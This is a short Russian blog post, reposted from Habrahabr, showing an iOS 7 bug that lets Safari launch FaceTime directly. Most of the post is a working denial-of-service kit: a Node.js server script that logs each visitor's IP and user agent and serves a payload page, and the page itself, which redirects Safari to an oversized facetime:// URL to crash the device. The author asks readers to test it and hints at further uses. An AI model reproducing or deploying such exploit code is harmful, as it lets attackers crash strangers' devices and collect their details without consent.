Ребутим iOS. Просто и со вкусом!

Приятного времени суток, господа и дамы!
Данный пост будет очень короткий, к сожалению, но ведь это демонстрация уязвимости, которой подвержены многие iOS устройства.

Подвержены почти все iOS устройства 7 ветки, и частично 6’ой. Больше не смог протестировать. Буду крайне благодарен, если вы отпишетесь в комментариях о поведении вашего устройства.

Демонстрация работы:

r0sheR.js:

console.log("      _____      _         ______   _     "); console.log("     |  _  |    | |        | ___ \\ (_)    "); console.log(" _ __| |/' | ___| |__   ___| |_/ /  _ ___ "); console.log("| '__|  /| |/ __| '_ \\ / _ \\    /  | / __|"); console.log("| |  \\ |_/ /\\__ \\ | | |  __/ |\\ \\ _| \\__ \\"); console.log("|_|   \\___/ |___/_| |_|\\___\\_| \\_(_) |___/"); console.log("r0sheR.js is a part of IOS EX kit _/ |");     console.log(" fil9 (2013) fil9bob@gmail.com   |__/"); var lport = process.argv[2]; if (!lport) {     console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' [80,8080...]');     process.exit(1) } else {     if (lport <= 0 || lport > 65535) {         console.log("Invalid port!\n");         process.exit(1)     } }; var http = require('http'),fs=require('fs'); http.createServer(function (rq, rs) {     rs.writeHead(200, {         'Content-Type': 'text/html'     });     console.log('[!] New request from: ' + rq.connection.remoteAddress);     console.log('[!] UserAgent: ' + rq.headers['user-agent']);     fs.readFile('./page.html', function(err,data){     if (err) throw err;      rs.end(data);     });     console.log('DOS parcel sent :)') }).listen(lport, '0.0.0.0'); 

page.html: < — payload отдельно. Как показала практика, так удобней

<html> <head> <title>IOS 7 CRASH</title> </head> <body> <script> document.location.replace("data:text/html,%3Cscript%3Eif(navigator.userAgent.indexOf('Safari') != -1){var a,b='';for(var i=1;i<=300000;i++) a='A'+a; document.location.replace('facetime://'+a+a+a+a)}%3C/script%3E"); </script> </body> </html> 

Баг заключается в том, что Safari позволяет запустить FaceTime напрямую. Злоумышленник может воспользоватся этим и вызвать отказ в обслуживании. Ну и кое-что еще.

P.S: Недавно узнал, что в версии iOS 7.0.5 будет закрыта уязвимимость, использованная evasi0n7.
Как знать, может стоит ожидать JB уже для iOS 7.1 🙂

ссылка на оригинал статьи http://habrahabr.ru/post/208356/

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *